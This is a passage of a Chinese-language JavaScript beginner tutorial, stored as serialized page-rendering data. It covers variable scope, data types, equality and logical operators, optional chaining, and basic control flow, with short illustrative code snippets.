",[22,62482,62483],{},"Object.freeze()","——注意它是",[17,62486,62487],{},"浅冻结","，嵌套的对象不受影响。",[53,62490,62492],{"id":62491},"块级作用域与-tdz","块级作用域与 TDZ",[11,62494,62495,2012,62497,62499],{},[22,62496,18926],{},[22,62498,951],{}," 的作用域是「最近的这一对花括号」：",[308,62501,62503],{"className":942,"code":62502,"language":944,"meta":314,"style":314},"if (true) {\n  let inner = '块内'\n  var leak = '泄漏了'\n}\nconsole.log(inner)   \u002F\u002F ✗ ReferenceError：块外根本不存在\nconsole.log(leak)    \u002F\u002F '泄漏了'，var 是函数级作用域，从 if 里跑了出来\n",[22,62504,62505,62515,62527,62540,62544,62556],{"__ignoreMap":314},[331,62506,62507,62509,62511,62513],{"class":333,"line":334},[331,62508,11541],{"class":616},[331,62510,1147],{"class":337},[331,62512,1131],{"class":344},[331,62514,2476],{"class":337},[331,62516,62517,62519,62522,62524],{"class":333,"line":341},[331,62518,29344],{"class":616},[331,62520,62521],{"class":337}," inner ",[331,62523,518],{"class":616},[331,62525,62526],{"class":365}," '块内'\n",[331,62528,62529,62532,62535,62537],{"class":333,"line":357},[331,62530,62531],{"class":616},"  var",[331,62533,62534],{"class":337}," leak ",[331,62536,518],{"class":616},[331,62538,62539],{"class":365}," '泄漏了'\n",[331,62541,62542],{"class":333,"line":371},[331,62543,459],{"class":337},[331,62545,62546,62548,62550,62553],{"class":333,"line":384},[331,62547,28055],{"class":337},[331,62549,3533],{"class":501},[331,62551,62552],{"class":337},"(inner)   ",[331,62554,62555],{"class":1003},"\u002F\u002F ✗ ReferenceError：块外根本不存在\n",[331,62557,62558,62560,62562,62565],{"class":333,"line":397},[331,62559,28055],{"class":337},[331,62561,3533],{"class":501},[331,62563,62564],{"class":337},"(leak)    ",[331,62566,62567],{"class":1003},"\u002F\u002F '泄漏了'，var 是函数级作用域，从 if 里跑了出来\n",[11,62569,62570,62571,62573,62574,62576,62577,62579,62580,62583,62584,62587],{},"「声明前访问报错」这条叫暂时性死区（TDZ）：从进入作用域到执行到声明语句之间，变量处于不可访问状态。对比 ",[22,62572,18923],{}," 的「提前访问得到 ",[22,62575,5872],{},"」——",[22,62578,5872],{}," 会装作没事继续跑，",[22,62581,62582],{},"ReferenceError"," 则会立刻炸给你看，",[17,62585,62586],{},"早报错远好过带病运行","，这也是推荐 const\u002Flet 的原因之一。",[4748,62589],{"height":32474,"src":62590,"title":62591},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F02-variables.html","示例 02：const 与 let 的行为边界",[53,62593,62595],{"id":62594},"var-的历史包袱重复声明与循环泄漏","var 的历史包袱：重复声明与循环泄漏",[11,62597,62598,62600],{},[22,62599,18923],{}," 时代最常见的两个 bug：同名变量被第二次声明悄悄覆盖（不报任何错），以及 for 循环变量泄漏到外面：",[308,62602,62604],{"className":942,"code":62603,"language":944,"meta":314,"style":314},"for (var i = 0; i \u003C 3; i++) { \u002F* … *\u002F }\nconsole.log(i)   \u002F\u002F 3 —— i 泄漏到了循环外面！\n\nfor (let j = 0; j \u003C 3; j++) { \u002F* … *\u002F }\nconsole.log(j)   \u002F\u002F ✗ ReferenceError：let 的 j 只在循环体内\n",[22,62605,62606,62639,62651,62655,62688],{"__ignoreMap":314},[331,62607,62608,62610,62612,62614,62617,62619,62621,62624,62626,62628,62631,62633,62635,62637],{"class":333,"line":334},[331,62609,18917],{"class":616},[331,62611,1147],{"class":337},[331,62613,18923],{"class":616},[331,62615,62616],{"class":337}," i ",[331,62618,518],{"class":616},[331,62620,680],{"class":344},[331,62622,62623],{"class":337},"; i ",[331,62625,510],{"class":616},[331,62627,59421],{"class":344},[331,62629,62630],{"class":337},"; i",[331,62632,29231],{"class":616},[331,62634,31033],{"class":337},[331,62636,14496],{"class":1003},[331,62638,9413],{"class":337},[331,62640,62641,62643,62645,62648],{"class":333,"line":341},[331,62642,28055],{"class":337},[331,62644,3533],{"class":501},[331,62646,62647],{"class":337},"(i)   ",[331,62649,62650],{"class":1003},"\u002F\u002F 3 —— i 泄漏到了循环外面！\n",[331,62652,62653],{"class":333,"line":357},[331,62654,998],{"emptyLinePlaceholder":997},[331,62656,62657,62659,62661,62663,62666,62668,62670,62673,62675,62677,62680,62682,62684,62686],{"class":333,"line":371},[331,62658,18917],{"class":616},[331,62660,1147],{"class":337},[331,62662,18926],{"class":616},[331,62664,62665],{"class":337}," j ",[331,62667,518],{"class":616},[331,62669,680],{"class":344},[331,62671,62672],{"class":337},"; j ",[331,62674,510],{"class":616},[331,62676,59421],{"class":344},[331,62678,62679],{"class":337},"; j",[331,62681,29231],{"class":616},[331,62683,31033],{"class":337},[331,62685,14496],{"class":1003},[331,62687,9413],{"class":337},[331,62689,62690,62692,62694,62697],{"class":333,"line":384},[331,62691,28055],{"class":337},[331,62693,3533],{"class":501},[331,62695,62696],{"class":337},"(j)   ",[331,62698,62699],{"class":1003},"\u002F\u002F ✗ ReferenceError：let 的 j 只在循环体内\n",[11,62701,62702,23629,62704,62706,62707,62710],{},[22,62703,18926],{},[22,62705,18917],{}," 里还有一条更微妙的规则——",[17,62708,62709],{},"每次迭代都会创建一个新的绑定","，这让「循环里创建函数、函数记住当次的值」成为自然行为。这一点在第七章讲闭包时会看到它的完整价值。",[53,62712,62713],{"id":62713},"命名规范",[11,62715,62716],{},"一条好名字省下十行注释。约定速查：",[1773,62718,62719,62730,62742,62754,62771,62789],{},[1662,62720,62721,62722,322,62725,272,62727,17306],{},"变量与函数用 ",[17,62723,62724],{},"camelCase",[22,62726,26140],{},[22,62728,62729],{},"fetchList",[1662,62731,62732,62733,322,62736,272,62739,17306],{},"真正常量用 ",[17,62734,62735],{},"UPPER_SNAKE_CASE",[22,62737,62738],{},"MAX_RETRY",[22,62740,62741],{},"API_BASE",[1662,62743,62744,62745,272,62748,272,62751,17306],{},"布尔值带前缀：",[22,62746,62747],{},"isReady",[22,62749,62750],{},"hasPermission",[22,62752,62753],{},"canSubmit",[1662,62755,62756,62757,272,62759,18878,62762,62765,62766,272,62768,62770],{},"合法字符：字母、数字、",[22,62758,54777],{},[22,62760,62761],{},"_",[17,62763,62764],{},"不能数字开头","，不能是保留字（",[22,62767,24306],{},[22,62769,10859],{},"…）；中文标识符合法但别用；",[1662,62772,62773,62774,62776,62777,18878,62779,272,62782,272,62785,62788],{},"名字要有语义：",[22,62775,25850],{}," 好于 ",[22,62778,11],{},[22,62780,62781],{},"list2",[22,62783,62784],{},"temp",[22,62786,62787],{},"data1"," 这种名字说明还没想清楚它是什么；",[1662,62790,62791,62792,62795],{},"一行只声明一个变量，别写 ",[22,62793,62794],{},"let a = 1, b = 2"," 的逗号链——日后增删都容易漏。",[48,62797,62799],{"id":62798},"三数据类型原始值对象与类型判断","三、数据类型：原始值、对象与类型判断",[11,62801,62802,62803,62806,62807,62809],{},"JS 的值分两大家族：",[17,62804,62805],{},"原始值","（primitive，不可再分）与",[17,62808,27916],{},"（object，属性的集合）。理解这条分界，等于拿到后面所有「为什么它没变」「为什么它跟着变了」类问题的钥匙。",[53,62811,62813],{"id":62812},"八种类型与-typeof","八种类型与 typeof",[11,62815,62816,62817,272,62819,272,62822,272,62824,272,62826,272,62828,272,62831,62833,62834,62836],{},"原始值有七种：",[22,62818,8909],{},[22,62820,62821],{},"number",[22,62823,8922],{},[22,62825,5872],{},[22,62827,5858],{},[22,62829,62830],{},"symbol",[22,62832,38066],{},"；加上 ",[22,62835,9037],{}," 一族（含数组、函数、日期等）就是全部。",[57,62838,62839,62854],{},[60,62840,62841],{},[63,62842,62843,62846,62852],{},[66,62844,62845],{},"值",[66,62847,62848,62851],{},[22,62849,62850],{},"typeof"," 结果",[66,62853,19257],{},[79,62855,62856,62869,62889,62902,62916,62936,62951,62966,62984],{},[63,62857,62858,62862,62867],{},[84,62859,62860],{},[22,62861,10578],{},[84,62863,62864],{},[22,62865,62866],{},"'string'",[84,62868],{},[63,62870,62871,62878,62883],{},[84,62872,62873,1901,62875],{},[22,62874,31936],{},[22,62876,62877],{},"3.14",[84,62879,62880],{},[22,62881,62882],{},"'number'",[84,62884,62885,62888],{},[17,62886,62887],{},"只有一种数字类型","，不区分整数浮点",[63,62890,62891,62895,62900],{},[84,62892,62893],{},[22,62894,1131],{},[84,62896,62897],{},[22,62898,62899],{},"'boolean'",[84,62901],{},[63,62903,62904,62908,62913],{},[84,62905,62906],{},[22,62907,5872],{},[84,62909,62910],{},[22,62911,62912],{},"'undefined'",[84,62914,62915],{},"「未定义」，变量声明未赋值的默认值",[63,62917,62918,62922,62927],{},[84,62919,62920],{},[22,62921,5858],{},[84,62923,62924],{},[22,62925,62926],{},"'object'",[84,62928,62929,62932,62933],{},[17,62930,62931],{},"历史 bug","，官方承认但为了兼容不改；判空用 ",[22,62934,62935],{},"=== null",[63,62937,62938,62943,62948],{},[84,62939,62940],{},[22,62941,62942],{},"Symbol('id')",[84,62944,62945],{},[22,62946,62947],{},"'symbol'",[84,62949,62950],{},"独一无二的标记",[63,62952,62953,62958,62963],{},[84,62954,62955],{},[22,62956,62957],{},"10n",[84,62959,62960],{},[22,62961,62962],{},"'bigint'",[84,62964,62965],{},"超出安全范围的大整数",[63,62967,62968,62974,62978],{},[84,62969,62970,1901,62972],{},[22,62971,62308],{},[22,62973,6725],{},[84,62975,62976],{},[22,62977,62926],{},[84,62979,62980,62981],{},"数组也是 object，判定要用 ",[22,62982,62983],{},"Array.isArray()",[63,62985,62986,62991,62996],{},[84,62987,62988],{},[22,62989,62990],{},"function () {}",[84,62992,62993],{},[22,62994,62995],{},"'function'",[84,62997,62998],{},"可调用对象，但归类上仍是对象",[4748,63000],{"height":14062,"src":63001,"title":63002},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F03-types.html","示例 03：类型判断、假值与转换",[53,63004,63006],{"id":63005},"原始值传拷贝对象传引用","原始值传「拷贝」，对象传「引用」",[308,63008,63010],{"className":942,"code":63009,"language":944,"meta":314,"style":314},"let a = 1\nlet b = a\nb = 2\nconsole.log(a)   \u002F\u002F 1 —— 原始值各存各的\n\nconst x = { n: 1 }\nconst y = x\ny.n = 2\nconsole.log(x.n) \u002F\u002F 2 —— 两个名字指向同一个对象！\n\nfunction bump(obj) { obj.n++ }   \u002F\u002F 参数也是引用传递\nbump(x)\nconsole.log(x.n) \u002F\u002F 3 —— 函数里改的就是外面那个对象\n",[22,63011,63012,63023,63035,63045,63057,63061,63077,63089,63098,63110,63114,63136,63144],{"__ignoreMap":314},[331,63013,63014,63016,63018,63020],{"class":333,"line":334},[331,63015,18926],{"class":616},[331,63017,31001],{"class":337},[331,63019,518],{"class":616},[331,63021,63022],{"class":344}," 1\n",[331,63024,63025,63027,63030,63032],{"class":333,"line":341},[331,63026,18926],{"class":616},[331,63028,63029],{"class":337}," b ",[331,63031,518],{"class":616},[331,63033,63034],{"class":337}," a\n",[331,63036,63037,63040,63042],{"class":333,"line":357},[331,63038,63039],{"class":337},"b ",[331,63041,518],{"class":616},[331,63043,63044],{"class":344}," 2\n",[331,63046,63047,63049,63051,63054],{"class":333,"line":371},[331,63048,28055],{"class":337},[331,63050,3533],{"class":501},[331,63052,63053],{"class":337},"(a)   ",[331,63055,63056],{"class":1003},"\u002F\u002F 1 —— 原始值各存各的\n",[331,63058,63059],{"class":333,"line":384},[331,63060,998],{"emptyLinePlaceholder":997},[331,63062,63063,63065,63068,63070,63073,63075],{"class":333,"line":397},[331,63064,951],{"class":616},[331,63066,63067],{"class":344}," x",[331,63069,957],{"class":616},[331,63071,63072],{"class":337}," { n: ",[331,63074,7993],{"class":344},[331,63076,9413],{"class":337},[331,63078,63079,63081,63084,63086],{"class":333,"line":418},[331,63080,951],{"class":616},[331,63082,63083],{"class":344}," y",[331,63085,957],{"class":616},[331,63087,63088],{"class":337}," x\n",[331,63090,63091,63094,63096],{"class":333,"line":427},[331,63092,63093],{"class":337},"y.n ",[331,63095,518],{"class":616},[331,63097,63044],{"class":344},[331,63099,63100,63102,63104,63107],{"class":333,"line":439},[331,63101,28055],{"class":337},[331,63103,3533],{"class":501},[331,63105,63106],{"class":337},"(x.n) ",[331,63108,63109],{"class":1003},"\u002F\u002F 2 —— 两个名字指向同一个对象！\n",[331,63111,63112],{"class":333,"line":450},[331,63113,998],{"emptyLinePlaceholder":997},[331,63115,63116,63118,63121,63123,63126,63129,63131,63133],{"class":333,"line":456},[331,63117,3047],{"class":616},[331,63119,63120],{"class":501}," bump",[331,63122,966],{"class":337},[331,63124,63125],{"class":2472},"obj",[331,63127,63128],{"class":337},") { obj.n",[331,63130,29231],{"class":616},[331,63132,5391],{"class":337},[331,63134,63135],{"class":1003},"\u002F\u002F 参数也是引用传递\n",[331,63137,63138,63141],{"class":333,"line":775},[331,63139,63140],{"class":501},"bump",[331,63142,63143],{"class":337},"(x)\n",[331,63145,63146,63148,63150,63152],{"class":333,"line":785},[331,63147,28055],{"class":337},[331,63149,3533],{"class":501},[331,63151,63106],{"class":337},[331,63153,63154],{"class":1003},"\u002F\u002F 3 —— 函数里改的就是外面那个对象\n",[11,63156,63157,63158,63160,63161,63164,63165,63167,63168,63170],{},"所以「对象比较」不能靠 ",[22,63159,2625],{}," 判断内容：",[22,63162,63163],{},"{n:1} === {n:1}"," 永远是 ",[22,63166,3193],{},"，因为比的是「是不是同一个对象」。判断内容相等需要逐字段比较，或用 ",[22,63169,13254],{}," 做近似的深比较（有顺序敏感等局限）。",[53,63172,63173],{"id":63173},"数字的两个经典雷区",[308,63175,63177],{"className":942,"code":63176,"language":944,"meta":314,"style":314},"0.1 + 0.2 === 0.3          \u002F\u002F false！IEEE 754 双精度浮点的固有限制\nMath.abs(0.1 + 0.2 - 0.3) \u003C Number.EPSILON   \u002F\u002F 浮点比较的正确姿势\n\nNaN === NaN                \u002F\u002F false！NaN 不等于任何值，包括自己\nNumber.isNaN(NaN)          \u002F\u002F true，判断 NaN 要用它\nisNaN('12px')              \u002F\u002F true —— 老 isNaN 会先做类型转换，基本别用\n",[22,63178,63179,63198,63229,63233,63245,63261],{"__ignoreMap":314},[331,63180,63181,63184,63186,63189,63192,63195],{"class":333,"line":334},[331,63182,63183],{"class":344},"0.1",[331,63185,6321],{"class":616},[331,63187,63188],{"class":344}," 0.2",[331,63190,63191],{"class":616}," ===",[331,63193,63194],{"class":344}," 0.3",[331,63196,63197],{"class":1003},"          \u002F\u002F false！IEEE 754 双精度浮点的固有限制\n",[331,63199,63200,63203,63206,63208,63210,63212,63214,63217,63219,63221,63223,63226],{"class":333,"line":341},[331,63201,63202],{"class":337},"Math.",[331,63204,63205],{"class":501},"abs",[331,63207,966],{"class":337},[331,63209,63183],{"class":344},[331,63211,6321],{"class":616},[331,63213,63188],{"class":344},[331,63215,63216],{"class":616}," -",[331,63218,63194],{"class":344},[331,63220,3180],{"class":337},[331,63222,510],{"class":616},[331,63224,63225],{"class":337}," Number.EPSILON   ",[331,63227,63228],{"class":1003},"\u002F\u002F 浮点比较的正确姿势\n",[331,63230,63231],{"class":333,"line":357},[331,63232,998],{"emptyLinePlaceholder":997},[331,63234,63235,63237,63239,63242],{"class":333,"line":371},[331,63236,20693],{"class":344},[331,63238,63191],{"class":616},[331,63240,63241],{"class":344}," NaN",[331,63243,63244],{"class":1003},"                \u002F\u002F false！NaN 不等于任何值，包括自己\n",[331,63246,63247,63249,63252,63254,63256,63258],{"class":333,"line":384},[331,63248,1153],{"class":337},[331,63250,63251],{"class":501},"isNaN",[331,63253,966],{"class":337},[331,63255,20693],{"class":344},[331,63257,9613],{"class":337},[331,63259,63260],{"class":1003},"\u002F\u002F true，判断 NaN 要用它\n",[331,63262,63263,63265,63267,63270,63272],{"class":333,"line":397},[331,63264,63251],{"class":501},[331,63266,966],{"class":337},[331,63268,63269],{"class":365},"'12px'",[331,63271,20580],{"class":337},[331,63273,63274],{"class":1003},"\u002F\u002F true —— 老 isNaN 会先做类型转换，基本别用\n",[11,63276,63277],{},"金额场景不要用浮点数直接算账（乘 100 转整数分，或交给后端），这是行业铁律。",[53,63279,63280],{"id":63280},"假值只有八个位置",[11,63282,63283,63285,63286,322],{},[22,63284,11541],{}," 里当条件用时，只有下面这些值算「假」，",[17,63287,63288],{},"其余全是真",[308,63290,63292],{"className":942,"code":63291,"language":944,"meta":314,"style":314},"false   0   -0   0n   ''   null   undefined   NaN\n",[22,63293,63294],{"__ignoreMap":314},[331,63295,63296,63298,63301,63304,63306,63308,63310,63313,63316,63319],{"class":333,"line":334},[331,63297,3193],{"class":344},[331,63299,63300],{"class":344},"   0",[331,63302,63303],{"class":616},"   -",[331,63305,628],{"class":344},[331,63307,63300],{"class":344},[331,63309,27399],{"class":616},[331,63311,63312],{"class":365},"   ''",[331,63314,63315],{"class":344},"   null",[331,63317,63318],{"class":344},"   undefined",[331,63320,63321],{"class":344},"   NaN\n",[11,63323,63324,63325,272,63327,63330,63331,63334,63335,63337,63338,63340,63341,28230,63344,161],{},"最容易踩的是「长得像假、其实是真」的成员：字符串 ",[22,63326,39316],{},[22,63328,63329],{},"'false'","、空格串 ",[22,63332,63333],{},"' '","、空数组 ",[22,63336,6725],{},"、空对象 ",[22,63339,62308],{},"——统统为真。所以校验「用户填没填」应该判 ",[22,63342,63343],{},"value === ''",[22,63345,63346],{},"if (value)",[48,63348,63350],{"id":63349},"四运算符相等短路与可选链","四、运算符：相等、短路与可选链",[11,63352,63353],{},"运算符大多和别的语言相通，这一章只聚焦 JS 特有的、写错了最难发现的三组符号。",[53,63355,63357,63360,63361,63363],{"id":63356},"会做类型转换-不会",[22,63358,63359],{},"=="," 会做类型转换，",[22,63362,2625],{}," 不会",[308,63365,63367],{"className":942,"code":63366,"language":944,"meta":314,"style":314},"1 == '1'        \u002F\u002F true —— 字符串被转成数字\n1 === '1'       \u002F\u002F false —— 类型不同\nnull == undefined      \u002F\u002F true —— 特例，唯一值得保留 == 的用法\n[] == false            \u002F\u002F true —— 空数组转成 '' 再转 0……\n'0' == false           \u002F\u002F true —— 新手最常踩的「字符串 0」\n",[22,63368,63369,63381,63392,63404,63416],{"__ignoreMap":314},[331,63370,63371,63373,63376,63378],{"class":333,"line":334},[331,63372,7993],{"class":344},[331,63374,63375],{"class":616}," ==",[331,63377,10143],{"class":365},[331,63379,63380],{"class":1003},"        \u002F\u002F true —— 字符串被转成数字\n",[331,63382,63383,63385,63387,63389],{"class":333,"line":341},[331,63384,7993],{"class":344},[331,63386,63191],{"class":616},[331,63388,10143],{"class":365},[331,63390,63391],{"class":1003},"       \u002F\u002F false —— 类型不同\n",[331,63393,63394,63396,63398,63401],{"class":333,"line":357},[331,63395,5858],{"class":344},[331,63397,63375],{"class":616},[331,63399,63400],{"class":344}," undefined",[331,63402,63403],{"class":1003},"      \u002F\u002F true —— 特例，唯一值得保留 == 的用法\n",[331,63405,63406,63409,63411,63413],{"class":333,"line":371},[331,63407,63408],{"class":337},"[] ",[331,63410,63359],{"class":616},[331,63412,14414],{"class":344},[331,63414,63415],{"class":1003},"            \u002F\u002F true —— 空数组转成 '' 再转 0……\n",[331,63417,63418,63420,63422,63424],{"class":333,"line":384},[331,63419,39316],{"class":365},[331,63421,63375],{"class":616},[331,63423,14414],{"class":344},[331,63425,63426],{"class":1003},"           \u002F\u002F true —— 新手最常踩的「字符串 0」\n",[11,63428,63429,63430,63437,63438,63441,63442,2012,63444,63446,63447,63450],{},"规则只有一条：",[17,63431,63432,63433,5160,63435],{},"日常一律用 ",[22,63434,2625],{},[22,63436,3076],{},"；唯一例外是 ",[22,63439,63440],{},"x == null","，它同时命中 ",[22,63443,5858],{},[22,63445,5872],{},"，读作「x 是空的吗」，写起来比 ",[22,63448,63449],{},"x === null || x === undefined"," 干净。",[53,63452,63454],{"id":63453},"逻辑运算的返回值是操作数短路是特性","逻辑运算的返回值是「操作数」，短路是特性",[11,63456,63457,2012,63459,63461,63462,63465],{},[22,63458,14406],{},[22,63460,1162],{}," 不返回布尔值，而是返回",[17,63463,63464],{},"决定结果的那一侧操作数","；并且左侧一旦能定结果，右侧就不执行（短路）：",[308,63467,63469],{"className":942,"code":63468,"language":944,"meta":314,"style":314},"const name = input || '游客'      \u002F\u002F input 为假值时用默认值\nisReady && start()                \u002F\u002F 常用简写：条件成立才执行\nconst count = data ?? 0           \u002F\u002F ?? 只在 null \u002F undefined 时兜底\n",[22,63470,63471,63490,63505],{"__ignoreMap":314},[331,63472,63473,63475,63477,63479,63482,63484,63487],{"class":333,"line":334},[331,63474,951],{"class":616},[331,63476,559],{"class":344},[331,63478,957],{"class":616},[331,63480,63481],{"class":337}," input ",[331,63483,1162],{"class":616},[331,63485,63486],{"class":365}," '游客'",[331,63488,63489],{"class":1003},"      \u002F\u002F input 为假值时用默认值\n",[331,63491,63492,63495,63497,63499,63502],{"class":333,"line":341},[331,63493,63494],{"class":337},"isReady ",[331,63496,14406],{"class":616},[331,63498,14853],{"class":501},[331,63500,63501],{"class":337},"()                ",[331,63503,63504],{"class":1003},"\u002F\u002F 常用简写：条件成立才执行\n",[331,63506,63507,63509,63511,63513,63516,63518,63520],{"class":333,"line":357},[331,63508,951],{"class":616},[331,63510,18074],{"class":344},[331,63512,957],{"class":616},[331,63514,63515],{"class":337}," data ",[331,63517,29379],{"class":616},[331,63519,680],{"class":344},[331,63521,63522],{"class":1003},"           \u002F\u002F ?? 只在 null \u002F undefined 时兜底\n",[11,63524,63525,5160,63527,63529,63530,29674,63532,18878,63535,63537,63538,1901,63540,63542,63543,6745,63545,63547,63548,322],{},[22,63526,1162],{},[22,63528,29379],{}," 的区别是高频考点：",[22,63531,1162],{},[17,63533,63534],{},"0 和空串也当成「没有值」",[22,63536,29379],{}," 只认 ",[22,63539,5858],{},[22,63541,5872],{},"。想保留用户填的 ",[22,63544,628],{},[22,63546,9164],{}," 时，必须用 ",[22,63549,29379],{},[308,63551,63553],{"className":942,"code":63552,"language":944,"meta":314,"style":314},"0 || 100   \u002F\u002F 100  ✗ 0 是假值，被兜底了\n0 ?? 100   \u002F\u002F 0    ✓ 0 是合法数字，保留\n",[22,63554,63555,63566],{"__ignoreMap":314},[331,63556,63557,63559,63561,63563],{"class":333,"line":334},[331,63558,628],{"class":344},[331,63560,1341],{"class":616},[331,63562,49936],{"class":344},[331,63564,63565],{"class":1003},"   \u002F\u002F 100  ✗ 0 是假值，被兜底了\n",[331,63567,63568,63570,63573,63575],{"class":333,"line":341},[331,63569,628],{"class":344},[331,63571,63572],{"class":616}," ??",[331,63574,49936],{"class":344},[331,63576,63577],{"class":1003},"   \u002F\u002F 0    ✓ 0 是合法数字，保留\n",[53,63579,63581,63582,63585],{"id":63580},"可选链-深层访问不再逐层判断","可选链 ",[22,63583,63584],{},"?.","：深层访问不再逐层判断",[308,63587,63589],{"className":942,"code":63588,"language":944,"meta":314,"style":314},"user?.profile?.name        \u002F\u002F 中途任何一环是 null\u002Fundefined 就返回 undefined，不报错\nuser.greet?.()             \u002F\u002F 方法存在才调用\nuser.tags?.[0]             \u002F\u002F 数组下标同样适用\n",[22,63590,63591,63599,63613],{"__ignoreMap":314},[331,63592,63593,63596],{"class":333,"line":334},[331,63594,63595],{"class":337},"user?.profile?.name        ",[331,63597,63598],{"class":1003},"\u002F\u002F 中途任何一环是 null\u002Fundefined 就返回 undefined，不报错\n",[331,63600,63601,63604,63607,63610],{"class":333,"line":341},[331,63602,63603],{"class":337},"user.",[331,63605,63606],{"class":501},"greet",[331,63608,63609],{"class":337},"?.()             ",[331,63611,63612],{"class":1003},"\u002F\u002F 方法存在才调用\n",[331,63614,63615,63618,63620,63623],{"class":333,"line":357},[331,63616,63617],{"class":337},"user.tags?.[",[331,63619,628],{"class":344},[331,63621,63622],{"class":337},"]             ",[331,63624,63625],{"class":1003},"\u002F\u002F 数组下标同样适用\n",[4748,63627],{"height":14062,"src":63628,"title":63629},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F04-operators.html","示例 04：相等、短路与可选链",[11,63631,63632,63633,1901,63636,1901,63639,63642,63643,63645],{},"配套的逻辑赋值运算符 ",[22,63634,63635],{},"??=",[22,63637,63638],{},"||=",[22,63640,63641],{},"&&="," 用来「只在满足条件时写入」：补配置默认值用 ",[22,63644,63635],{}," 最精准——已设的值（哪怕是 0 或空串）不会被覆盖。",[53,63647,63648],{"id":63648},"两个小符号",[11,63650,63651,63653,63654,63657,63658,272,63660,272,63662,63664,63665,63668,63669,63672,63673,63676],{},[22,63652,12714],{}," 既是加法也是字符串拼接：只要一侧是字符串，另一侧就被转成字符串（",[22,63655,63656],{},"'1' + 1 === '11'","）；而 ",[22,63659,6659],{},[22,63661,18020],{},[22,63663,655],{}," 只做数学，会把字符串",[17,63666,63667],{},"强制转成数字","再算（",[22,63670,63671],{},"'6' \u002F '2' === 3","）。字符串和数字混算前，先显式用 ",[22,63674,63675],{},"Number()"," 转换，比依赖隐式规则可靠。",[11,63678,63679,63681,63682,63685,63686,63689,63690,26877,63693,63696],{},[22,63680,29231],{}," 有前缀后缀之分（",[22,63683,63684],{},"++i"," 先加再用、",[22,63687,63688],{},"i++"," 先用再加），但",[17,63691,63692],{},"不要在表达式里使用自增",[22,63694,63695],{},"arr[i++] = arr[i]"," 这种代码只有作者读得懂，拆成两行。",[48,63698,63700],{"id":63699},"五流程控制分支与循环","五、流程控制：分支与循环",[53,63702,63704],{"id":63703},"if-else-与提前-return","if \u002F else 与提前 return",[11,63706,63707,63709,63710,63713],{},[22,63708,11541],{}," 的语法不必多讲，值得刻意练习的是",[17,63711,63712],{},"守卫子句","写法：把「不满足就退出」的条件提前处理，主干逻辑就永远不会缩进三层以上。",[308,63715,63717],{"className":942,"code":63716,"language":944,"meta":314,"style":314},"function getDiscount(user) {\n  if (!user) return 0           \u002F\u002F 守卫：没有用户，直接返回\n  if (!user.isVip) return 0     \u002F\u002F 守卫：不是会员，直接返回\n  return user.years > 3 ? 0.8 : 0.9   \u002F\u002F 主干清晰，只有一行\n}\n",[22,63718,63719,63732,63750,63768,63792],{"__ignoreMap":314},[331,63720,63721,63723,63726,63728,63730],{"class":333,"line":334},[331,63722,3047],{"class":616},[331,63724,63725],{"class":501}," getDiscount",[331,63727,966],{"class":337},[331,63729,45971],{"class":2472},[331,63731,2476],{"class":337},[331,63733,63734,63736,63738,63740,63743,63745,63747],{"class":333,"line":341},[331,63735,1526],{"class":616},[331,63737,1147],{"class":337},[331,63739,1150],{"class":616},[331,63741,63742],{"class":337},"user) ",[331,63744,10859],{"class":616},[331,63746,680],{"class":344},[331,63748,63749],{"class":1003},"           \u002F\u002F 守卫：没有用户，直接返回\n",[331,63751,63752,63754,63756,63758,63761,63763,63765],{"class":333,"line":357},[331,63753,1526],{"class":616},[331,63755,1147],{"class":337},[331,63757,1150],{"class":616},[331,63759,63760],{"class":337},"user.isVip) ",[331,63762,10859],{"class":616},[331,63764,680],{"class":344},[331,63766,63767],{"class":1003},"     \u002F\u002F 守卫：不是会员，直接返回\n",[331,63769,63770,63772,63775,63777,63779,63781,63784,63786,63789],{"class":333,"line":371},[331,63771,1633],{"class":616},[331,63773,63774],{"class":337}," user.years ",[331,63776,42343],{"class":616},[331,63778,59421],{"class":344},[331,63780,2631],{"class":616},[331,63782,63783],{"class":344}," 0.8",[331,63785,2636],{"class":616},[331,63787,63788],{"class":344}," 0.9",[331,63790,63791],{"class":1003},"   \u002F\u002F 主干清晰，只有一行\n",[331,63793,63794],{"class":333,"line":384},[331,63795,459],{"class":337},[11,63797,63798,63799,63802,63803,63805],{},"三元表达式 ",[22,63800,63801],{},"条件 ? 值1 : 值2"," 适合「二选一取值」的场合，不要嵌套超过一层——两层以上就该改写成 ",[22,63804,11541],{}," 或映射表。",[53,63807,63809,63810,63812],{"id":63808},"switch-比较与-break","switch：",[22,63811,2625],{}," 比较与 break",[11,63814,63815,63818,63819,63824,63825,63828,63829,5177,63831,63837],{},[22,63816,63817],{},"switch"," 适合「一个值对多种情况」的分支，两条规则：",[17,63820,63821,63822],{},"比较用的是严格相等 ",[22,63823,2625],{},"（字符串 ",[22,63826,63827],{},"'5'"," 不会命中数字 ",[22,63830,6508],{},[17,63832,63833,63834],{},"每个 case 结尾要 ",[22,63835,63836],{},"break","，否则会从命中的位置一路「穿透」执行到底。穿透有时是特性——多个值共用一段逻辑时让 case 连续排列即可。",[4748,63839],{"height":4750,"src":63840,"title":63841},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F05-control.html","示例 05：分支与循环，用 FizzBuzz 串起来",[53,63843,63844],{"id":63844},"三种循环与两种遍历",[308,63846,63848],{"className":942,"code":63847,"language":944,"meta":314,"style":314},"for (let i = 0; i \u003C arr.length; i++) { }   \u002F\u002F 经典 for：需要下标或跳步时用\nwhile (条件) { }                            \u002F\u002F 先判断，可能一次都不执行\ndo { } while (条件)                        \u002F\u002F 先执行一遍，再判断\n\nfor (const item of arr) { }                \u002F\u002F ✓ 遍历数组\u002F字符串\u002FMap\u002FSet 用 for...of，拿值\nfor (const key in obj) { }                 \u002F\u002F 遍历「键」；对象用 in，数组千万别用（见下）\n",[22,63849,63850,63883,63893,63909,63913,63933],{"__ignoreMap":314},[331,63851,63852,63854,63856,63858,63860,63862,63864,63866,63868,63871,63873,63875,63877,63880],{"class":333,"line":334},[331,63853,18917],{"class":616},[331,63855,1147],{"class":337},[331,63857,18926],{"class":616},[331,63859,62616],{"class":337},[331,63861,518],{"class":616},[331,63863,680],{"class":344},[331,63865,62623],{"class":337},[331,63867,510],{"class":616},[331,63869,63870],{"class":337}," arr.",[331,63872,10192],{"class":344},[331,63874,62630],{"class":337},[331,63876,29231],{"class":616},[331,63878,63879],{"class":337},") { }   ",[331,63881,63882],{"class":1003},"\u002F\u002F 经典 